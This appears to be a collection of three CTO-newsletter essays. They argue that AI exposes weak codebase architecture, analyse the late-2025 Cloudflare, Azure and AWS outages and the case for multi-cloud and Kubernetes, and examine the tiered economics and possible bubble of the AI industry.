The big layoffs weren’t the result of AI replacing workers. They were the result of leadership not being able to justify headcount while uncertainty is compounding faster than quarterly reviews can track. The topic has moved past AI adoption to how the engineering substrate can support AI safely, and what’s needed to update current infrastructure to support this new complexity. The question isn’t whether AI replaces developers. It’s how the infrastructure we’re building can support what happens when it tries, and whether we’re measuring what actually matters when we do.

Context & Background: What’s Actually Being Replaced

The Great AI Replacement isn’t happening the way the hype promised.
AI isn’t replacing developers; it is replacing bad architecture.

The myth is alluring: AI will replace developers, maybe even engineers more broadly. Or in its most pernicious form, AI as a senior engineer you can delegate to. The reality is that AI is more like a highly competent junior that’s bizarrely gifted with near-perfect recall and no basis for judgment. Successful teams understand this robo-junior who can move mountains if given the right guardrails; less able teams delegate to it like a senior and are rewarded with chaos.

Underneath all the hype, the developer extinction event is really an architectural revelation.🕊️ AI isn’t replacing developers; it’s revealing the architectural maturity of your codebase. Which organizations built their engineering substrate with intention, and which ones duct-taped microservices together and called it architecture. This is the part of the conversation that tends to be publicly demurred; high-performing teams care about code style not because they’re pedantic, but because style is the artifact of architecture, non pareil.

Does the AI know your tombstone pattern? Your last-write-wins semantics? Your state transitions? Your service boundaries? The answer is: not unless you teach it. And teaching it requires the kind of architectural clarity most codebases simply don’t have.

The Magic Productivity Theater

The more the industry repeats “40% productivity gains,” the more it feels like a mantra meant to soothe investors rather than inform operators. (And operators mainly talk to investors through markets.) But the ground truth tells a different story, built on structural contradictions that lead to a singular thesis: AI generates code quickly, but not code you can actually trust.

Broken trust is felt through every layer of the stack; the rage developers feel debugging hallucinated refactors isn’t irrationality, it’s a reasonable response to being handed tedious, unnecessary cleanup work and being told it’s the future. Wasn’t this what Rossum’s robots were supposed to do for us? Wasn’t that literally the name coinage?

Trust in theory isn’t about believing AI works any more than its about doing drudgery. Rather, it was about having that done for you. Which in practice means trust is about having infrastructure that catches AI when it doesn’t. Think of it as the other side of Maybe Don’t: what if you have to?

If you’re a regular reader, you know one answer to that: the AI-native SDLC flywheel built on zero-trust infrastructure. But most organizations haven’t built that. Instead, they delegated architectural trust, often to the model itself. (Holding out hope its API would enforce the constraints their codebases lacked.) But the magic isn’t in the model; it’s in the architectural guardrails and infrastructure constraints that high-leverage teams built before AI arrived:

• Architectural Legibility: They enforce type systems as guardrails, rather than aesthetics (looking at you, Python) making the codebase legible to machines.

• Agent Orchestration: They implement per-repo context engineering (Monorepos hate this one weird trick); encode style guides as system prompts; turn models into specialized, constrained agents.

• Zero-Trust SDLC: They treat AI output like a junior’s PR, subjecting it to rigorous review and observable behavior (AI O11y 2.0).

This flips the equation. Once the substrate supports safe code generation, a single engineer with well-instrumented agents can handle work that previously required cross-team coordination. Stack boundaries collapse. (Latencies drop!) Backend ops are pushed the edge. 10x teams are no longer the aspiration; 100x teams become possible. The ROI split is stark and revealing: And while most companies see low or negative ROI; the top 5% see enormous gains. So what’s the magic?

The teams in the top 5% aren’t smarter or luckier. They built their architecture to support AI before AI arrived. They enforced types. They documented patterns. They made their codebases legible to machines, which made them legible to humans, which made them maintainable at scale. Ok, so maybe they were smarter. The other 95% are learning a lesson in entropy, (that teacher of teachers) namely, you can’t retrofit clarity onto chaos. You can’t bolt AI onto a microservices architecture held together by institutional knowledge and hope it navigates service boundaries correctly. Call it Conway’s revenge.

Meanwhile the industry is playing out the finale of Steppenwolf, the same desperate drama that consumed Harry Haller in his search for transcendence, finding only a theatre of smoke and mirrors. The applied magic isn’t in the model; it’s in the constraints. Successful teams built architectural guardrails before AI arrived. The industry keeps funding this performance, but when the curtain is pulled back it’s seen to be sustained by the smoke of those promised 40% gains and billion-dollar valuations, while the mirrors are just reflecting the organization’s own undisciplined substrate, schema-less data paths, ad-hoc service boundaries, type-free interfaces, missing invariants, half-documented patterns, (/etc /etc) and a CI pipeline that treats validation as a suggestion. What looks like “AI productivity” is really your own architectural entropy being poured back into your lap at machine speed; the magic theatre of productivity only feels real until you realize the output isn’t creation at all: it’s a funhouse reflection of the system you’ve decided to tolerate.

What CTOs Are Actually Measuring

The questions at the lunch table weren’t just about hiring (though headcount and vendor selection dominated the discussion.) The more salient question was and is measurement. How do you know if AI is working? Velocity, deployment frequency, and Lines of Code (LOC) were designed for humans writing code; not humans reviewing code that arrives pre-written and quite possibly wrong.

The gap between perceived productivity and actual productivity is 39 percentage points. Teams feel 20% more productive with AI tools. Measurement shows they’re 19% slower. This is where the measurement question becomes architectural. If you cannot measure PR cycle time, deployment frequency, and change failure rate before and after AI adoption, every decision is guesswork wrapped in vibes. The intelligence flywheel only spins when measurement informs action. You need to know:

• How much time is spent generating code vs reviewing code

• How often AI-generated code passes review without changes

• What types of bugs AI introduces that humans catch

• Which architectural patterns AI handles safely vs which it mangles

• Whether your experienced engineers are mentoring AI or just cleaning up after it

Only with this data can you actually optimize the system. The 5% who succeed are measuring what matters. The 95% who fail are measuring what’s easy. Andy Grove and Rich Hickey should probably have a fireside chat about this.

• Trust Gap: How often AI-generated code passes review without changes.

• Workload Shift: How much time is spent generating code vs. reviewing code.

• Pattern Safety: Which architectural patterns AI handles safely versus which it mangles.

CTO Playbook: 30/60/90

Quarterly OKR: Shift the engineering culture from mechanically using AI tools to structurally managing the risks associated with agent-generated complexity.

□ 30 day: Foundation Guardrails and Trust Controls

• Codebase Legibility Score (CRITICAL):

  • Action: Audit critical repositories for “machine legibility”: scoring them based on type coverage and formalized state transition patterns.

  • Goal: Identify the most brittle areas where AI agents will introduce the highest “workslop.”

• Encode Style as System Prompts (HIGH):

  • Action: Formalize style guides and architectural best practices (e.g., “no implicit state sharing”) and encode them directly into the system prompts for all developer-facing AI tools.

  • Goal: Instantly turn AI from a general code generator into a constrained, domain-aware junior developer.

• Adopt “Junior PR” Review Policy (HIGH):

  • Action: Institute a formal policy that treats all AI-generated code blocks as if they came from a junior developer, requiring 100% human review.

  • Goal: Close the “broken trust” gap and shift the human workflow to critically auditing and maintaining the system’s structural integrity.

□ 60 day: Agent Orchestration and Measurement

• Implement AI Observability (MEDIUM HIGH):

  • Action: Deploy decision-tracing instrumentation for all autonomous agents: capturing not just what code was written, but why the agent chose that architectural solution.

  • Goal: Provide the data needed for true root-cause analysis, fulfilling the AI O11y 2.0 mandate.

• Establish Trust-Based Metrics (MEDIUM):

  • Action: Deprecate Lines of Code (LOC). Begin tracking AI-specific metrics: Review Pass Rate (how often AI output passes review without changes) and Change Failure Rate attributable to AI-introduced bugs.

  • Goal: Close the 39-point gap between perceived and actual productivity.

• Upskill in Context Engineering (MEDIUM):

  • Action: Begin mandatory training for senior engineers on Context Engineering and Agent Orchestration.

  • Goal: Preserve senior architectural expertise by retraining them to enforce constraints and mentor the AI, rather than cleaning up its “workslop.”

□ 90 day: Structural Investment

• Platform Engineering for Agentic SDLC (HIGH STRATEGY):

  • Action: Task the Platform Engineering team with building internal tools that provide safe, constrained deployment pathways exclusively for agent-generated code.

  • Goal: Ensure agentic code can move fast within established guardrails, without ever touching brittle manual paths.

• Architectural Pattern Enforcement (MEDIUM STRATEGY):

  • Action: Invest in tools (static analysis, pre-commit hooks) that automatically enforce your architectural patterns and service boundaries, even if the code is AI-generated.

  • Goal: Make the codebase physically resistant to architectural drift, preventing the AI from introducing misconfigurations.

• Hiring Profile Redefinition (MEDIUM STRATEGY):

  • Action: Redefine the engineering hiring profile: shifting emphasis from coding speed to architectural intuition, critical reasoning, and maintenance skills.

  • Goal: Hire for the skill that the AI cannot replicate: judgment.

Bottom Line

The Great AI Replacement isn’t happening the way the hype promised. Developers aren’t being replaced; they’re being asked to fix two hours of slop for every two hours of work. The real leverage isn’t automation; it’s augmentation with guardrails.

The best CTOs aren’t talking about “AI strategy”; they’re talking about people, processes, and the underlying architectural substrate that lets AI work safely instead of chaotically. They’re measuring what actually matters: trust, reproducibility, and the delta between what AI generates and what ships to production.

If your strategy is to delegate trust without first enforcing architectural constraints, you’re not building the future. You’re discovering that the infrastructure you built for humans doesn’t support agents; and retrofitting clarity onto chaos is expensive enough that you might as well rebuild from scratch. It’s PageMaker all over again, except for code, and instead of Comic Sans we get type-free interfaces and missing invariants, structural chaos mirroring the visual chaos of the 1990s.

An illegible, unreadable codebase is, in fact, the ultimate Beached Asset: a massive expenditure (incl. engineering labor and tooling) that can never be fully operationalized by an agentic future where the winners aren’t the earliest adopters but the ones who adopt with intention, rationalised architecture, and a sober understanding of what AI actually does. Ninety-five percent fail; five percent don’t. The best CTOs are in the five percent, by definition.

To attend CTO Lunches, please register at ctolunches.com and choose NYC as your city.

The day before, Microsoft Azure’s Front Door collapsed after a small change to its load balancer. Services went dark globally for two hours. The week prior, AWS suffered a control-plane outage that took down over 3,500 companies when a race condition in an internal orchestration system deadlocked during routine deployment. Three weeks, three Tier 1 infrastructure providers, three internal glitches that cascaded into existential failures for companies who thought they’d architected for resilience.

Digital Ocean users discovered upstream Cloudflare exposure when their services (Spaces CDN, App Platform, and global load balancers) went offline simultaneously, a dependency quietly mentioned in their subprocessors page. GitHub Ops went down hours after Cloudflare recovered, tracing back to a shared dependency on Cloudflare’s edge network for DDoS mitigation. Hidden upstream and transitive dependencies are everywhere. Railway.com launched an object storage service that’s simply a wrapper for Wasabi buckets, a fact not mentioned anywhere, not even on their subprocessors page. Most CTOs don’t discover these hidden fault lines until the blast radius reaches their dashboards.

This month’s cluster of outages across AWS, Azure, Cloudflare, and GitHub didn’t teach us anything new but reminded us of something we’ve spent a decade pretending wasn’t true. We’ve built a world where the smallest operational decision can have the biggest operational blast radius. Not because the failures were exotic. Not because a nation-state attacker slipped through a zero-day. But because of something much harder to defend against: routine changes traveling through systems that are no longer routine.

This is the new failure mode: not direct dependencies but transitive ones, where your infrastructure’s infrastructure fails and only you find out why by reading incident reports on HN. You saved pennies by outsourcing infrastructure to hyperscale providers. Now you’re in for a pound when their cascading failures take down your entire operation and takes a big bite of revenue. Small changes that turn out not to be… “small change.” 🕶️ What’s really changed is the scale at which “normal engineering” now operates. Choosing cloud infrastructure means your survival depends on it. Cost savings from abstraction get repriced 10x or 100x when outages compound across your stack. CTOs need architectural patterns that follow through when dependencies fail, which means building for resilience isn’t optional anymore.

As if it ever was.

Context and Background

Except the Internet wasn’t designed to survive a nuclear incident. Charles Herzfeld, ARPA director during ARPANET’s inception, put it bluntly: ”The goal of ARPANET was to facilitate communication and resource sharing between researchers and institutions. While there has been speculation ARPANET was prompted by the need for a reliable and decentralized system that could withstand nuclear attacks, that is false.” Akshully, the true goal was addressing a practical reality: expensive, scarce computing resources needed to be shared among geographically separate research institutions. This goal is often confused with conceptual work on resilient communication by Paul Baran at RAND in the 1960s, which study predates and was entirely separate from ARPANET’s development, but provided the genesis for an enduring, conspiratorial urban legend.

Aside from Baran’s high-level work at RAND, none of the packet switching pioneers were responding to military survivability requirements. Donald Davies at NPL in the former UK, Leonard Kleinrock MIT developing the mathematical theory for his 1962 MIT dissertation, the ARPANET teams, (also the CYCLADES group in France) all focused on resource sharing and research networking. The US military developed its own techniques for redundancy (SAGE network) but we’d have to wait until 1983 for a genuinely military packet-switched network: the Defense Data Network / MILNET.

Packet switching doesn’t magically remove central infrastructure. It only removes the requirement for a single, unique central switch. In practice you still have the specialized intermediate nodes familiar to network engineers (routers, gateways, IXPs, core routers), hierarchical routing, and centralized services (DNS hierarchy, BGP route reflectors, large backbones, CDNs, cloud providers.) Outages at Cloudflare, Azure, and AWS are not flaws in Internet protocols themselves but in particular service architectures deployed on top of them.

Industry Impact

Inverting the Design Goal

We traded resilience for convenience, concentrating 50% of the web’s traffic into three vendors. Cloudflare handles roughly a fifth of global web traffic. When their proxy code calls .unwrap() on a Result for an operation expected to never fail (ha) and that expectation proves wrong, that’s a fifth of the Internet potentially going dark. Azure’s Front Door routes traffic for millions of enterprise applications. When a configuration change to its load balancer triggers a cascading failure, those applications don’t fail gracefully, they disappear. AWS’s control plane orchestrates infrastructure for, um, a significant fraction, of the modern web. When a race condition deadlocks during routine deployment, over 3,500 companies simultaneously lose access to their own infrastructure. We optimized for cost, and quietly rebuilt the Internet to behave like a single, giant, fragile mainframe whose health depends on whether one engineer, somewhere, gets one line of config right.

The year-end promotion cycle amplifies this risk. Changes get pushed with less diligence, reviewed with less scrutiny, and deployed with less caution bc everyone’s focused on closing out their performance metrics before the ball drops. The cultural DNA here misaligns organizational incentives with operational stability right when traffic peaks for holiday shopping, year-end closes, and Q4 revenue recognition. It’s everything at once, like the web’s own epagomenal days, a period outside ordinary time when the margin for error vanishes and every latent flaw get its reckoning.
(This also explains why the holidays overlap more and more, but don’t get me started.)

Such speed is a double-edged sword. It drives world-class agility: we see organizations like Cloudflare where co-founders are reviewing customer-reported product defects within ten minutes and shipping fixes the next day, an unheard-of velocity for a company of that magnitude. Yet, this same institutional velocity allows the catastrophic deployment of a change containing an uncaught exception (that unwrap() panic) that takes down a fifth of the global internet.

This isn’t “move fast and break things” as an ethos, but a culture where moving fast means things will occasionally break catastrophically. (Don’t get me started on dromology.) The critical question for CTOs isn’t whether to optimize for velocity or stability, but how to ensure your organization’s impressive speed in shipping features and patching defects doesn’t also manifest in an existential operational lapse. The infrastructure providers you depend on are making the same tradeoff you are, highlighting a fundamental fragility in the hyperscale model, except their failures cascade across thousands of customers. Tier 3 Cloud providers capture margin by abstracting complexity, but that abstraction often creates centralized control planes that can fail catastrophically. When AWS’s control plane goes down, you lose infra access even though the underlying compute is fine. When Cloudflare’s edge worker panics, it’s not just their problem but yours, your customers’ and everyone downstream who didn’t read the subprocessors page.

KubeCon 2025 crystallized what the outages made implicit: K8s adoption is accelerating precisely because it’s the hedge against Tier 3 provider failures. The infrastructure substrate needs to support autonomous operations because centralized control planes cannot absorb the operational complexity of modern workloads not to even mention the impending but already ongoing hyperscale that AI workloads create. Kubernetes isn’t winning because it’s technically superior. It’s winning because it’s the only widely-adopted substrate that provides the operational primitives both resilient architecture and agentic AI and require: dynamic resource allocation, declarative configuration that survives control-plane failures, and RBAC policies that can constrain autonomous actors.

This connects directly to the Tier 3 economics described above. Cloud providers (Tier 3) are capturing margin by abstracting infrastructure complexity, but that abstraction creates single points of failure. When AWS’s control plane goes down, you lose access to your infrastructure even though the underlying compute is fine. When Azure’s Front Door misconfigures, your applications become unreachable even though your services are running. The Tier 3 business model is predicated on centralized control planes that can fail catastrophically, which explains Kubernetes adoption is accelerating: it’s the hedge against Tier 3 provider failures because the control plane runs in your infrastructure, not theirs.

Three trends converged at KubeCon 2025 that highlight this transformation.

1. AI Workflows Go Operational: Agentic workflows moved from experimental to operational, which means they now schedule their own compute and provision their own resources. This requires an infrastructure that can safely delegate operational control to non-human actors, making Kubernetes’ declarative model and RBAC primitives safety-critical not just organizational convenience. Kubernetes Agent Sandbox, v1 introduced at KubeCon, provides a pre-provisioned TEE for autonomous agents, maintaining stable identity while offloading lifecycle management and resource orchestration to the cluster control plane, allowing agents execute autonomously, repeatedly, and safely, w/o needing to encode lifecycle or orchestration logic themselves.

2. Platform Engineering Graduates: Platform engineering has graduated from buzzword to discipline; its no longer about DX, but building robust guardrails that prevent your engineers, or your agents, from committing the equivalent of Cloudflare’s .unwrap() incident. Deprecations of ingress-nginx forces devops teams to confront whether they understood their actual ingress requirements or just copy-pasted manifests from SO. Helm 4.0.0 shipped with breaking changes that exposed which teams treated it as a package manager (correct) versus config management (wrong). Teams that understood the distinction migrated smoothly; teams that didn’t spent November firefighting.

3. Observability Shifts to Insight: Traditional observability (logs, dashboards, monitoring) was built for predictable systems operated by humans. Agentic systems are neither. When an agent scales your cluster, you need to know why it decided chosen value was correct, whether that decision aligned with your cost constraints, and what would have happened if that target was set higher or lower. Tooling is evolving from “what happened” to why did the system decide this was the right action, which is the only way to trust autonomous operations. During the November outages, cloud providers were briefly flying blind because their observability depended on the same planes that were failing. Medusa Cascade. The next generation of ops requires observability that remains visible even when the system’s own sensors go dark. Let’s hope it’s not the naked leading the blind.

Pulumi versus OpenTofu highlights the infrastructure-as-code implications. OpenTofu is declarative, generally human-authored, IAC. Pulumi is imperative, programmatic, and increasingly optimised for codegen. For human operators, OpenTofu’s declarative model is easier to reason about. For AI agents, Pulumi’s programmatic interface is the only model that works because agents can’t meaningfully generate declarative HCL, but they can generate TypeScript or Python that calls Pulumi’s SDK. Companies betting on AI-native SDLC are standardizing on Pulumi because it’s the only infrastructure-as-code paradigm that survives contact with autonomous agents generating infrastructure definitions. (But frankly, things could have turned out much differently if the big BLC brouhaha had not happened.)

What This Means For CTOs

Architecting for Dependency Resilience

The consolidation around three hyperscale infrastructure providers creates systemic risk that most CTOs haven’t priced correctly. When a fifth of the global web depends on Cloudflare’s edge network, Cloudflare’s outages become everyone’s outages. When Azure Front Door routes traffic for millions of enterprise apps, Azure’s configuration mistakes become your revenue loss. The distributed Internet still exists, but we stopped using it because abstraction layers made centralization cheaper and faster than running your own infrastructure (allowing companies to focus more resources on their respective business domains, changing the face of software consultancy.)

This isn’t a call to repatriate to on-prem datacenters. It’s recognition that the infrastructure layer’s increasing fragility changes the ROI calculation for redundancy. Multi-cloud used to be expensive insurance that most companies couldn’t justify. After three Tier 1 outages in three weeks, it’s starting to look like operational necessity. (Assuming you have your control plane issues sorted.) The companies that architected for single-provider dependence are repricing that decision now that the blast radius is measured in hours of lost revenue, not hypothetical risk scenarios.

The agentic infrastructure shift amplifies this pressure. When AI agents are provisioning resources, scaling workloads, and making deployment decisions, the failure modes multiply. A human operator making a mistake triggers one incident. An agent making a mistake triggers hundreds of incidents simultaneously because it’s operating at machine speed across your entire fleet. The infrastructure patterns that worked for human-operated systems (manual approval gates, change management processes, slow rollout schedules) don’t translate to agentic operations. You either build automated guardrails that can constrain agent behavior without blocking legitimate actions, or you accept that agent-authored infrastructure changes will periodically take down production in novel and spectacular ways.

Platform engineering’s maturation is the industry’s response to this complexity. Teams that treated platform engineering as “DevOps with a new name” are struggling. The teams that built actual platforms (internal abstractions that hide infrastructure complexity while maintaining operational control) are shipping faster with fewer outages. Kubernetes, Terraform and Helm (which just celebrated its 4.0 release) are primitives, not platforms. The platform is what you build on top of them that lets your engineers and your agents deploy safely without needing to understand the underlying infrastructure.

You’re not architecting for resilience against infrastructure failure anymore. You’re architecting for resilience against infrastructure dependency. The outages at Cloudflare, Azure, and AWS weren’t infrastructure failures but dependency failures, where small changes cascaded through systems that had become too centralized to fail gracefully.

CTO Playbook: 30/60/90

• Pre-generate Cloudflare API tokens (CRITICAL: Immediate) If you use Cloudflare, generate backup API tokens now and store them in a separate secret management system. When Cloudflare’s control plane goes down, you can’t generate new tokens, which means you can’t route around the failure. Teams without pre-generated tokens were locked out for three hours in November.

• Map transitive dependencies (HIGH PRIORITY: EOY) Audit your infrastructure for hidden upstream dependencies. Check your CDN provider’s subprocessors page. Verify your managed database doesn’t route through a shared dependency. Assume every managed service has upstream dependencies the vendor didn’t disclose.

• Test failover paths (MEDIUM-HIGH PRIORITY: 45 days ) Run tabletop exercises where your primary cloud provider is unavailable for four hours. Can you route traffic to backup regions? Can you fail over databases? Can you deploy without access to your CI/CD system? If the answer is no, you don’t have a failover plan but a hope-based strategy.

• Kubernetes migration plan (MEDIUM PRIORITY: 60 days) If you’re not running Kubernetes, create a migration roadmap. If you are running Kubernetes, audit whether your manifests are agent-compatible: declarative, versioned, and safe for programmatic generation.

• Observability upgrade (MEDIUM PRIORITY: 60 days) Implement decision tracing for any autonomous systems. Logs and metrics aren’t enough when agents are making operational decisions. You need instrumentation that captures why the agent chose a specific action, not just what action it took.

• Infrastructure-as-code audit (MEDIUM PRIORITY: 60 days) If you’re on Terraform/OpenTofu and planning to integrate agents, evaluate Pulumi. The migration cost is real, but it’s lower today than it will be in six months when your entire stack is codified in HCL that agents can’t meaningfully generate.

• Multi-cloud failover (LOW PRIORITY: 90- days) Architect critical paths for multi-provider redundancy. This doesn’t mean running everything on AWS and Azure simultaneously. It means ensuring your most critical workloads can fail over to a different provider without manual intervention.

• Platform engineering investment (LOW PRIORITY: 90 days) If you don’t have an internal platform team, build one. If you have one, audit whether they’re building abstractions or just managing infrastructure. The goal is enabling engineers and agents to deploy safely without understanding underlying infrastructure complexity.

• Vendor concentration risk analysis (LOW PRIORITY: 90 days) Calculate what percentage of your infrastructure depends on a single provider. If it’s over 70%, you have existential concentration risk. Document alternatives, migration costs, and failover timelines. Present to your board before they ask why a Cloudflare outage cost you hours and hours of revenue.

Bottom Line

Your immediate decision is whether to accept single-provider risk or architect for multi-provider redundancy. Multi-cloud used to be expensive insurance most companies skipped. After November 2025, it’s the only architecture that survives Tier 1 provider outages. This doesn’t mean running identical infrastructure across AWS and Azure. It means architecting workloads so critical paths can route around provider failures without manual intervention. Static sites can fail over to different CDNs. APIs can route to backup regions on different cloud providers. Databases can maintain hot replicas across providers for failover scenarios. The cost is higher. The operational complexity is higher. The alternative is explaining to your board why a WHERE clause at Cloudflare took down your revenue for half a day.

The agentic infrastructure requirements are orthogonal but equally urgent. If you’re not already running Kubernetes, consider a migration plan. Not because Kubernetes is perfect, but because it’s the only substrate with enough adoption, tooling maturity, and operational primitives to safely run agentic workloads at scale. Teams still hand-rolling infrastructure or running on managed platforms will hit scaling limits the moment they try to deploy agents that need dynamic resource allocation across heterogeneous hardware. Which is ofc one of the main points of agents.

Your observability must evolve from “what happened” to “why did the system decide this.” Traditional monitoring tells you your inference cluster scaled to 100 nodes. Agent-aware observability tells you the agent predicted demand based on historical patterns, chose 100 nodes to maintain latency SLAs, and stayed within budget. Without decision traces, you can’t trust autonomous operations, which means you can’t delegate operational control to agents, which means you’re stuck with human-operated systems that can’t scale at the pace AI workloads require.

Either way, you’re in for a pound.

To attend CTO Lunches, please register at ctolunches.com and choose NYC as your city.

The AI economy begins with sand. TSMC takes silicon dioxide, literally beach sand, and through $20 billion fabrication plants transforms it into chips worth 10,000x the raw material cost. Nvidia takes those chips and turns them into H100 GPUs selling for $30,000 apiece. Microsoft takes those GPUs and rents them by the hour at 80% gross margins. OpenAI takes that compute and burns it training models they sell through APIs at a loss. And somewhere, theoretically, an enterprise customer takes that API access and builds an application that generates actual economic value.

This is the five-tier value chain of AI:

silicon → GPUs → cloud → models → applications

In a functioning market, each tier captures margin by adding differentiation. In the AI market, only Tier 1 is making money. Everything else is playing hot potato with credit lines, hoping the music doesn’t stop before the applications tier materializes.

Peter Thiel sold $100 million in Nvidia stock on November 9th, mere days before their earnings call. Michael Burry bought put options betting Nvidia crashes to $140 by March 2026. Both are reading the same balance sheets you should be.

Context and Background

Tier 2 reveals the structural problem when you strip away the narrative. Nvidia reported $19.3 billion in profit for Q3. They generated $14.5 billion in actual cash. That $4.8 billion gap is is so far from a rounding error it’s basically Voyager 1, calling in from a full light-day away. The widespread pattern across Mag7 is revenue being booked before money changes hands. Healthy chip companies like TSMC and AMD convert over 95% of reported profits into cash. Nvidia converts 75%. The gap gets filled with $33.4 billion in unpaid bills (up 89% year-over-year) and $19.8 billion in unsold inventory (up 32%).

Obvious round-tripping is obvious: Nvidia invests $2 billion in xAI. xAI borrows $12.5 billion to buy Nvidia chips. Microsoft gives OpenAI $13 billion. OpenAI commits $50 billion to buy Microsoft cloud. Microsoft orders $100 billion in Nvidia chips to build that cloud. Oracle extends $300 billion in cloud credits to OpenAI. OpenAI orders Nvidia chips for Oracle data centers. In November, Microsoft and Nvidia poured $15 billion into Anthropic, valuing it at $350 billion, triple the $183 billion valuation from their September Series F! Nvidia is simultaneously investing $5 billion in Intel and $10 billion more in Anthropic.

Call it strategic partnerships if you want. Well, sure, whatever. The accounting structure is identical to Enron’s special purpose entities: circular flows where everyone is simultaneously creditor and debtor, booking forward orders as revenue, using GPU allocations as a form of credit. The system stays upright through forward momentum. The moment someone downstream can’t convert compute into paying customers, the circle breaks and the unpaid bills become writedowns.

The tier economics reveal where value is actually trapped versus where everyone thinks it’s being created. Tier 1 (silicon fabrication) has real margins and real cash generation; TSMC’s order book is full three years out, and even if competitors could build fabs, it takes three years and $20 billion per plant. Tier 2 (GPUs) looks profitable but that 75% cash conversion rate means Nvidia is booking revenue faster than collecting payment. Tier 3 (cloud) reports growth while simultaneously being its own largest customer: Microsoft “sells” cloud to OpenAI using Microsoft’s own investment capital, recording revenue despite cash never leaving the loop. Tier 4 (models) burns $3-5 for every $1 of revenue generated. Tier 5 (applications) barely exists at scale.

The unit economics make this explicit. America is deploying $400 billion per year in AI capex right now. For this not to be a bubble, we need $400 billion-plus in annual revenue from Tier 5 by decade’s end. OpenAI and Anthropic are spending roughly $100 billion in capex (indirectly, through Microsoft and Amazon). Their combined 2025 revenue: $20 billion. That’s a 5:1 capex-to-revenue ratio, which works in hypergrowth markets if and only if the infrastructure being built today generates enough lifetime value to exceed its construction costs before it becomes economically obsolete.

Here’s where capex and opex tensions collide with tier economics. Traditionally, infrastructure is capex: you buy it, own it, depreciate it over five years, extract value across its economic life. AI infrastructure is moving too fast for this model. H100s launched in 2023. H200s shipped in 2024. Blackwell is ramping now. Your $30,000 GPU is economically obsolete in 18 months but depreciated over 60 months. The gap between book value and market value compounds every quarter, which is why nobody can answer the Reddit thread asking where data centers are dumping old GPUs; admitting you’re replacing hardware after two years destroys the depreciation fiction holding your P&L together.

The major labs handle this by treating infrastructure like capex on paper (stretching depreciation timelines to smooth reported costs) while treating it like opex practically (maintaining flexibility to swap hardware on rapid cycles). It’s not illegal, but it creates a systemic mismatch between reported profits and cash generation. When 45% of fund managers tell Bank of America that an AI bubble is their biggest tail risk, they’re not worried about model benchmarks. They’re worried about what happens when depreciation schedules collide with replacement reality and someone takes a writedown large enough to spook the index funds auto-allocating into these positions. These are the actual bubble dynamics.

Bubblenomics: Ideology, Formatted in Excel

OpenAI’s $1.5 trillion credit card is maxed out. CEO Sam Altman has projected spending commitments exceeding $1.4 trillion over the next several years, creating a shortfall of roughly $1.2 trillion against current cash reserves. They had $3.5 billion in revenue against $5.3 billion in operating losses in 2024. First half of 2025: $4.3 billion in revenue, $7.8 billion in losses. Third quarter alone: $12 billion in losses. (I’m literally LOLing here.) They’re projecting $115 billion in cumulative burn by 2029, at which point they claim profitability. The Financial Times calculates OpenAI needs to raise at least $207 billion by 2030 just to continue operating at current burn rates. For their valuation to hold, their $20 billion in current revenue must grow 32x to $650 billion in five years while their flagship model ranks 95th on benchmarks.

Altman’s rookie moves aren’t helping. Last month he announced Stargate would consume 40% of global DRAM supply. Prices rocketed 3x before he secured funding or supply contracts, making his own infrastructure roadmap 3x more expensive by telegraphing demand without locking in capacity. This is what happens when tech guys pretend they understand finance and finance guys pretend they understand tech: spectacular self-owns where a CEO inadvertently reprices his entire capex plan.

Anthropic and OpenAI represent two ideological responses to the same tier economics, and their divergence reveals which parts of the value chain each believes will capture sustainable margin. In 2025, both ran roughly 70% burn ratios: OpenAI at $13 billion revenue with $9 billion in net operating losses, Anthropic at $4.2 billion revenue with $3 billion in net losses. By 2028, Anthropic’s base case projects breakeven. OpenAI’s base case shows a $74 billion net loss. Faites vos jeux.

Anthropic is betting on unit economics and composable profitability: monetize the present, then scale it. (My kind of company, obvi.) They’re running an 80% enterprise customer mix, pruning expensive modalities like video generation, optimizing for high annual contract values with predictable renewal rates. It’s a SaaS playbook, build a defensible Tier 4 position, expand from there, and never spend more than you can explain to a CFO without a deck. Capital efficiency buys strategic flexibility: the freedom to raise less, spend more, or survive a capital winter. Or BTC $50,000.

OpenAI is betting on narrative convexity and pre-emptive scale: build the future, then monetize it. Their burn is a portfolio of call options on video (Sora), consumer products (ChatGPT), browsing infrastructure (Atlas), agents, robotics, and multi-year compute commitments. The logic is ok if you really squint: secure Tier 3 capacity now, build Tier 5 product optionality across modalities, and scale into whichever surfaces show traction. Standard VC Vegas style approach. If it works, you own tiers 3 through 5. If it doesn’t, you’re holding stranded capital in the form of unused cloud credits and hardware commitments you can’t unwind. OpenAI is selling the promise of a future where they control the energy grid and possibly your therapist. Anthropic is selling predictability. Both are ostensibly rational. Only one can be right at current burn rates.

Industry Impact

The “Magnificent 7” plus 34 data-center ecosystem companies account for 75% of S&P 500 returns since October 2022, 80% of earnings growth, and 90% of capital spending growth.

Power has already shifted from Tier 4 (models) to Tier 3 (cloud infrastructure) and is consolidating back toward Tier 1 (silicon fabrication). Google released Gemini 3 (November 18) with genuine reasoning improvements but at 8x to 16x the cost of GPT-5.1 Thinking on input and 6x to 9x on output. Within days, Anthropic shipped Opus 4.5. Qwen matched frontier performance with 3 billion active parameters, small enough to run on a single H100. \o/ Model quality is converging. The differentiation is collapsing at Tier 4, which means margin capture is moving to whoever controls Tier 3 (compute access and cloud commitments) and Tier 5 (enterprise distribution and application value.)

Google could collapse Tier 2 margins tomorrow by making TPUs commercially available at scale and reasonable pricing. Nvidia’s dominance would end, compute would become a commodity, and the entire capex buildout predicated on GPU scarcity would turn into stranded assets. This hasn’t happened because Google benefits from Nvidia’s pricing power, it limits how fast competitors can scale. But the threat is structural, and it means every multi-year compute commitment is a bet on market structure as much as technical capability.

The lasting value might not be the models or even the GPUs but in the industrial capability itself. The dot-com bubble left us fiber in the ground that enabled the internet economy. (Though its undersea siblings are somewhat at risk.) Crypto mining built Crusoe, which is now constructing Stargate for OpenAI on stranded natural gas infrastructure in Abilene. If AI is a bubble, what survives is Tier 1 and the power infrastructure: the fabrication plants, the supply chains, the buildings that can deploy massive compute on demand. The GPUs are worthless after three years, but datacenters are forever (well, decades, anyway.)

What This Means for CTOs

Your infrastructure decisions are bets on which tier thrives when capital markets turn hostile. The reveal everyone else is missing: the model is becoming the feature, and the infrastructure around it is becoming the business. Tier 4 differentiation is collapsing. The moat is moving to Tier 3 (who controls compute access) and Tier 5 (who converts intelligence into business value). OpenAI’s business plan is based on the reverse premise, tho (in fact they can’t survive unless Tier 5 collapses into Tier 4.) You need to architect for scenarios where your primary vendor’s Tier 4 position evaporates, their Tier 3 commitments become stranded capital, or their cash conversion problems force sudden repricing.

